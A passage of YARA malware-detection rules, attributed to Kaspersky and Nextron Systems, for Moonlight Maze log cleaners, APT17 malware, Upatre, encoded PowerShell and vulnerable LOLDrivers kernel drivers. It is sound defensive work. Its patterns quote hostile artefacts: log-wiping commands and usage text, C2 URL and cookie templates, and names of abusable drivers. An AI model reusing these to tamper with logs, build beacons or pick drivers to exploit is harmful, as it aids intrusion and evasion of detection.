		( uint32( 0 ) == 0x464c457f ) and ( all of them )
}

rule apt_RU_MoonlightMaze_u_logcleaner
{
	meta:
		author = "Kaspersky Lab"
		date = "2017-03-27"
		version = "1.0"
		last_modified = "2017-03-27"
		reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
		description = "Rule to detect log cleaners based on utclean.c"
		reference2 = "http://cd.textfiles.com/cuteskunk/Unix-Hacking-Exploits/utclean.c"
		hash = "d98796dcda1443a37b124dbdc041fe3b"
		hash = "73a518f0a73ab77033121d4191172820"
		id = "2dc1b796-c8fe-5a87-9d6b-3a322f4a43ab"

	strings:
		$a1 = "Hiding complit...n"
		$a2 = "usage: %s <username> <fixthings> [hostname]"
		$a3 = "ls -la %s* ; /bin/cp  ./wtmp.tmp %s; rm  ./wtmp.tmp"

	condition:
		( uint32( 0 ) == 0x464c457f ) and ( any of them )
}

rule apt_RU_MoonlightMaze_wipe
{
	meta:
		author = "Kaspersky Lab"
		date = "2017-03-27"
		version = "1.0"
		last_modified = "2017-03-27"
		reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
		description = "Rule to detect log cleaner based on wipe.c"
		reference2 = "http://www.afn.org/~afn28925/wipe.c"
		hash = "e69efc504934551c6a77b525d5343241"
		id = "35060c3d-b805-54a6-a241-eb6e99168fa8"

	strings:
		$a1 = "ERROR: Unlinking tmp WTMP file."
		$a2 = "USAGE: wipe [ u|w|l|a ] ...options..."
		$a3 = "Erase acct entries on tty :   wipe a [username] [tty]"
		$a4 = "Alter lastlog entry       :   wipe l [username] [tty] [time] [host]"

	condition:
		( uint32( 0 ) == 0x464c457f ) and ( 2 of them )
}

rule APT17_Malware_Oct17_1
{
	meta:
		description = "Detects APT17 malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/puVc9q"
		date = "2017-10-03"
		hash1 = "dc9b5e8aa6ec86db8af0a7aa897ca61db3e5f3d2e0942e319074db1aaccfdc83"
		id = "457312d8-5bfe-5282-9ace-2f169278569c"

	strings:
		$s1 = "\\spool\\prtprocs\\w32x86\\localspl.dll" ascii
		$s2 = "\\spool\\prtprocs\\x64\\localspl.dll" ascii
		$s3 = "\\msvcrt.dll" ascii
		$s4 = "\\TSMSISrv.dll" ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 500KB and all of them )
}

import "pe"

rule APT17_Malware_Oct17_2
{
	meta:
		description = "Detects APT17 malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/puVc9q"
		date = "2017-10-03"
		hash1 = "20cd49fd0f244944a8f5ba1d7656af3026e67d170133c1b3546c8b2de38d4f27"
		id = "9f21514a-168b-5158-8322-60fa8499b11a"

	strings:
		$x1 = "Cookie: __xsptplus=%s" fullword ascii
		$x2 = "http://services.fiveemotions.co.jp" fullword ascii
		$x3 = "http://%s/ja-JP/2015/%d/%d/%d%d%d%d%d%d%d%d.gif" fullword ascii
		$s1 = "FoxHTTPClient_EXE_x86.exe" fullword ascii
		$s2 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.3072" ascii
		$s3 = "hWritePipe2 Error:%d" fullword ascii
		$s4 = "Not Support This Function!" fullword ascii
		$s5 = "Global\\PnP_No_Management" fullword ascii
		$s6 = "Content-Type: image/x-png" fullword ascii
		$s7 = "Accept-Language: ja-JP" fullword ascii
		$s8 = "IISCMD Error:%d" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and ( pe.exports ( "_foo@0" ) or 1 of ( $x* ) or 6 of them )
}

import "pe"

rule APT17_Unsigned_Symantec_Binary_EFA
{
	meta:
		description = "Detects APT17 malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/puVc9q"
		date = "2017-10-03"
		hash1 = "128aca58be325174f0220bd7ca6030e4e206b4378796e82da460055733bb6f4f"
		id = "56eec517-8b00-5cb5-9806-249e50f53b99"

	strings:
		$s1 = "Copyright (c) 2007 - 2011 Symantec Corporation" fullword wide
		$s2 = "\\\\.\\SYMEFA" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them and pe.number_of_signatures == 0 )
}

import "pe"

rule APT17_Malware_Oct17_Gen
{
	meta:
		description = "Detects APT17 malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/puVc9q"
		date = "2017-10-03"
		hash1 = "0375b4216334c85a4b29441a3d37e61d7797c2e1cb94b14cf6292449fb25c7b2"
		hash2 = "07f93e49c7015b68e2542fc591ad2b4a1bc01349f79d48db67c53938ad4b525d"
		hash3 = "ee362a8161bd442073775363bf5fa1305abac2ce39b903d63df0d7121ba60550"
		id = "c2156e68-d5b5-5bd7-858c-2d5e90199287"

	strings:
		$x1 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NETCLR 2.0.50727)" fullword ascii
		$x2 = "http://%s/imgres?q=A380&hl=en-US&sa=X&biw=1440&bih=809&tbm=isus&tbnid=aLW4-J8Q1lmYBM" ascii
		$s1 = "hWritePipe2 Error:%d" fullword ascii
		$s2 = "Not Support This Function!" fullword ascii
		$s3 = "Cookie: SESSIONID=%s" fullword ascii
		$s4 = "http://0.0.0.0/1" fullword ascii
		$s5 = "Content-Type: image/x-png" fullword ascii
		$s6 = "Accept-Language: en-US" fullword ascii
		$s7 = "IISCMD Error:%d" fullword ascii
		$s8 = "[IISEND=0x%08X][Recv:] 0x%08X %s" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and ( pe.imphash ( ) == "414bbd566b700ea021cfae3ad8f4d9b9" or 1 of ( $x* ) or 6 of them ) )
}

rule SUSP_PS1_JAB_Pattern_Jun22_1
{
	meta:
		description = "Detects suspicious UTF16 and Base64 encoded PowerShell code that starts with a $ sign and a single char variable"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2022-06-10"
		score = 70
		id = "9ecca7d9-3b63-5615-a223-5efa1c53510e"

	strings:
		$xc1 = { 4a 41 42 ?? 41 43 41 41 50 51 41 67 41 }
		$xc2 = { 4a 00 41 00 42 00 ?? 00 41 00 43 00 41 00 41 00 50 00 51 00 41 00 67 00 41 }
		$xc3 = { 4a 41 42 ?? 41 44 30 41 }
		$xc4 = { 4a 00 41 00 42 00 ?? 00 41 00 44 00 30 00 41 }

	condition:
		filesize < 30MB and 1 of them
}

rule Upatre_Hazgurut
{
	meta:
		description = "Detects Upatre malware - file hazgurut.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://weankor.vxstream-sandbox.com/sample/6b857ef314938d37997c178ea50687a281d8ff9925f0c4e70940754643e2c0e3?environmentId=7"
		date = "2015-10-13"
		score = 70
		hash1 = "7ee0d20b15e24b7fe72154d9521e1959752b4e9c20d2992500df9ac096450a50"
		hash2 = "79ffc620ddb143525fa32bc6a83c636168501a4a589a38cdb0a74afac1ee8b92"
		hash3 = "62d8a6880c594fe9529158b94a9336179fa7a3d3bf1aa9d0baaf07d03b281bd3"
		hash4 = "c64282aca980d558821bec8b3dfeae562d9620139dc43d02ee4d1745cd989f2a"
		hash5 = "a35f9870f9d4b993eb094460b05ee1f657199412807abe6264121dd7cc12aa70"
		hash6 = "f8cb2730ebc8fac1c58da1346ad1208585fe730c4f03d976eb1e13a1f5d81ef9"
		hash7 = "b65ad7e2d299d6955d95b7ae9b62233c34bc5f6aa9f87dc482914f8ad2cba5d2"
		hash8 = "6b857ef314938d37997c178ea50687a281d8ff9925f0c4e70940754643e2c0e3"
		hash9 = "33a288cef0ae7192b34bd2ef3f523dfb7c6cbc2735ba07edf988400df1713041"
		hash10 = "2a8e50afbc376cb2a9700d2d83c1be0c21ef942309676ecac897ba4646aba273"
		hash11 = "3d0f2c7e07b7d64b1bad049b804ff1aae8c1fc945a42ad555eca3e1698c7f7d3"
		hash12 = "951360b32a78173a1f81da0ded8b4400e230125d05970d41621830efc5337274"
		hash13 = "bd90faebfd7663ef89b120fe69809532cada3eb94bb94094e8bc615f70670295"
		hash14 = "8c5823f67f9625e4be39a67958f0f614ece49c18596eacc5620524bc9b6bad3d"
		id = "b0040452-ed63-5e90-9ed6-4f05e7b4eadc"

	strings:
		$a1 = "barcod" fullword ascii
		$s0 = "msports.dll" fullword ascii
		$s1 = "nddeapi.dll" fullword ascii
		$s2 = "glmf32.dll" fullword ascii
		$s3 = "<requestedExecutionLevel level=\"requireAdministrator\" uiAccess=\"false\">" fullword ascii
		$s4 = "cmutil.dll" fullword ascii
		$s5 = "mprapi.dll" fullword ascii
		$s6 = "glmf32.dll" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1500KB and $a1 in ( 0 .. 4000 ) and all of ( $s* )
}

rule PUA_VULN_Driver_Cpuid_Cpuzsys_Cpuidservice_34BE
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "34bee22c18ddbddbe115cf1ab55cabf0e482aba1eb2c343153577fb24b7226d3"
		hash = "5177a3b7393fb5855b2ec0a45d4c91660b958ee077e76e5a7d0669f2e04bcf02"
		hash = "ee45fd2d7315fd039f3585a66e7855ba4af9d4721e1448e602623de14e932bbe"
		hash = "bac709c49ddee363c8e59e515f2f632324a0359e932b7d8cb1ce2d52a95981aa"
		date = "2023-06-14"
		score = 40
		id = "eacc5085-aa34-5f46-977d-84761649bd6d"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055004900440020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00430050005500490044 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003100360033003800350020006200750069006c0074002000620079003a002000570069006e00440044004b }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e00310036003300380035 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043005000550049004400200073006500720076006900630065 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400280043002900200032003000310037002000430050005500490044 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Zemanaltd_Zam_D7E0
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "d7e091e0d478c34232e8479b950c5513077b3a69309885cee4c61063e5f74ac0"
		date = "2023-06-14"
		score = 40
		id = "62c2caf4-0f8e-5873-bc77-ea5a6b390e29"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e00310031002e0031002e003500310030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00310031002e0031002e003500310030 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule PUA_VULN_Driver_Eldoscorporation_Elrawdsksys_Rawdisk_4744
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - elrawdsk.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "4744df6ac02ff0a3f9ad0bf47b15854bbebb73c936dd02f7c79293a2828406f6"
		hash = "5a826b4fa10891cf63aae832fc645ce680a483b915c608ca26cedbb173b1b80a"
		date = "2023-06-14"
		score = 40
		id = "13de286c-92f2-5677-86ee-99c70a338c8e"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005200610077004400690073006b0020004400720069007600650072002e00200041006c006c006f00770073002000770072006900740065002000610063006300650073007300200074006f002000660069006c0065007300200061006e006400200072006100770020006400690073006b00200073006500630074006f0072007300200066006f0072002000750073006500720020006d006f006400650020006100700070006c00690063006100740069006f006e007300200069006e002000570069006e0064006f007700730020003200300030003000200061006e00640020006c0061007400650072002e }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c0064006f005300200043006f00720070006f0072006100740069006f006e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002c00200031002c002000320037002c0020003100300036 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002c00200031002c002000320037002c00200030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0065006c00720061007700640073006b002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005200610077004400690073006b }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0065006c00720061007700640073006b002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300037002d0032003000310031002c00200045006c0064006f005300200043006f00720070006f0072006100740069006f006e0020 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Gigabytetechnologycoltd_Gdrvsys_Gigabytesoftwaredriver_81AA
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - gdrv.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "81aafae4c4158d0b9a6431aff0410745a0f6a43fb20a9ab316ffeb8c2e2ccac0"
		date = "2023-06-14"
		score = 40
		id = "03cc80bd-699d-5c23-9acc-a523fa3110f3"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0047004900470041002d00420059005400450020004e006f006e0050006e00500020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0047004900470041002d004200590054004500200054004500430048004e004f004c004f0047005900200043004f002e002c0020004c00540044002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0031002e0030002e0031 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0067006400720076002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0047004900470041002d004200590054004500200053006f0066007400770061007200650020006400720069007600650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0067006400720076002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310037 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Advancedmicrodevices_Amdryzenmasterdriversys_Amdryzenmasterservicedriver_F6CD
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AMDRyzenMasterDriver.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "f6cd7353cb6e86e98d387473ed6340f9b44241867508e209e944f548b9db1d5f"
		date = "2023-06-14"
		score = 40
		id = "40d54ac5-209a-5f0e-b799-f492b7fcc973"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006400760061006e0063006500640020004d006900630072006f00200044006500760069006300650073 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0032002e0030002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0032002e0030002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020003200300031003700200041004d0044002c00200049006e0063002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_2594
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "2594b3ef3675ca3a7b465b8ed4962e3251364bab13b12af00ebba7fa2211abb2"
		date = "2023-06-14"
		score = 40
		id = "3d265316-2b94-581a-b44a-fe015d316eff"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0033002e0033003800360030002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0033002e0033003800360030002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310038002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule PUA_VULN_Driver_Cpuid_Cpuzsys_Cpuidservice_6BEF
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "6befa481e8cca8084d9ec3a1925782cd3c28ef7a3e4384e034d48deaabb96b63"
		hash = "8cf0cbbdc43f9b977f0fb79e0a0dd0e1adabe08a67d0f40d727c717c747de775"
		hash = "2101d5e80e92c55ecfd8c24fcf2202a206a4fd70195a1378f88c4cc04d336f22"
		hash = "45c3d607cb57a1714c1c604a25cbadf2779f4734855d0e43aa394073b6966b26"
		hash = "600a2119657973112025db3c0eeab2e69d528bccfeed75f40c6ef50b059ec8a0"
		hash = "deecbcd260849178de421d8e2f177dce5c63cf67a48abb23a0e3cf3aa3e00578"
		hash = "955dac77a0148e9f9ed744f5d341cb9c9118261e52fe622ac6213965f2bc4cad"
		date = "2023-06-14"
		score = 40
		id = "957addda-818b-504f-98b4-63fdfed768b4"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055004900440020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00430050005500490044 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003100360033003800350020006200750069006c0074002000620079003a002000570069006e00440044004b }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e00310036003300380035 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043005000550049004400200073006500720076006900630065 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400280043002900200032003000310034002000430050005500490044 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Rweverything_Rwdrvsys_Rwdrvdriver_45BA
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - RwDrv.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "45ba688a4bded8a7e78a4f5b0dc21004e951ddceb014bb92f51a3301d2fbc56a"
		hash = "3279593db91bb7ad5b489a01808c645eafafda6cc9c39f50d10ccc30203f2ddf"
		hash = "d969845ef6acc8e5d3421a7ce7e244f419989710871313b04148f9b322751e5d"
		hash = "1e0eb0811a7cf1bdaf29d3d2cab373ca51eb8d8b58889ab7728e2d3aed244abe"
		hash = "ea0b9eecf4ad5ec8c14aec13de7d661e7615018b1a3c65464bf5eca9bbf6ded3"
		date = "2023-06-14"
		score = 40
		id = "c9279259-59ab-5816-aa59-4d8d53f95793"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005200770044007200760020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00520057002d00450076006500720079007400680069006e0067 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300030002e00300030002e00300030003000300020006200750069006c0074002000620079003a002000570069006e00440044004b }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300030002e00300030002e0030003000300030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00520077004400720076002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005200770044007200760020004400720069007600650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00520077004400720076002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310031002000520057002d00450076006500720079007400680069006e0067 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Windowsrwinddkprovider_Vmdrvsys_Windowsrwinddkdriver_5C0B
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - vmdrv.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "5c0b429e5935814457934fa9c10ac7a88e19068fa1bd152879e4e9b89c103921"
		hash = "32cccc4f249499061c0afa18f534c825d01034a1f6815f5506bf4c4ff55d1351"
		hash = "d884ca8cc4ef1826ca3ab03eb3c2d8f356ba25f2d20db0a7d9fc251c565be7f3"
		date = "2023-06-14"
		score = 40
		id = "20989ad0-08b4-5fe0-b4cc-9846bdf4bb89"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0056006f006900630065006d006f00640020005600690072007400750061006c00200041007500640069006f00200044006500760069006300650020002800570044004d0029 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b002000700072006f00760069006400650072 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e0030002e00310030003000310031002e00310036003300380034 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e0030002e00310030003000310031002e00310036003300380034 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0076006d006400720076002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b0020006400720069007600650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0076006d006400720076002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200056006f006900630065006d006f006400200053002e004c002e0032003000310030002d0032003000320030 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Advancedmicrodevices_Amdryzenmasterdriversys_Amdryzenmasterservicedriver_A130
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AMDRyzenMasterDriver.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "a13054f349b7baa8c8a3fcbd31789807a493cc52224bbff5e412eb2bd52a6433"
		hash = "7e81beae78e1ddbf6c150e15667e1f18783f9b0ab7fbe52c7ab63e754135948d"
		date = "2023-06-14"
		score = 40
		id = "c810bb03-5e0d-501a-af32-66a5f73b410e"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006400760061006e0063006500640020004d006900630072006f00200044006500760069006300650073 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0033002e0030002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0033002e0030002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020003200300031003800200041004d0044002c00200049006e0063002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpot_Avginternetsecuritysystem_5BD4
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "5bd41a29cbba0d24e639f49d1f201b9bd119b11f5e3b8a5fefa3a5c6f1e7692c"
		date = "2023-06-14"
		score = 40
		id = "0cf3d047-c497-5957-b0d3-717220393501"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200041006e0074006900200052006f006f0074006b00690074 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0036002e003100300037002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0036002e003100300037002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000320030002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_88E2
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "88e2e6a705d3fb71b966d9fb46dc5a4b015548daf585fb54dfcd81dc0bd3ebdc"
		hash = "f29073dc99cb52fa890aae80037b48a172138f112474a1aecddae21179c93478"
		hash = "89b9823ed974a5b71de8468324d45b7e9d6dc914f93615ba86c6209b25b3cbf7"
		hash = "3503ea284b6819f9cb43b3e94c0bb1bf5945ccb37be6a898387e215197a4792a"
		hash = "d6827cd3a8f273a66ecc33bb915df6c7dea5cc1b8134b0c348303ef50db33476"
		hash = "e07211224b02aaf68a5e4b73fc1049376623793509d9581cdaee9e601020af06"
		hash = "c089a31ac95d41ed02d1e4574962f53376b36a9e60ff87769d221dc7d1a3ecfa"
		hash = "6e944ae1bfe43a8a7cd2ea65e518a30172ce8f31223bdfd39701b2cb41d8a9e7"
		hash = "59b09bd69923c0b3de3239e73205b1846a5f69043546d471b259887bb141d879"
		hash = "e3f2ee22dec15061919583e4beb8abb3b29b283e2bcb46badf2bfde65f5ea8dd"
		hash = "9d5ebd0f4585ec20a5fe3c5276df13ece5a2645d3d6f70cedcda979bd1248fc2"
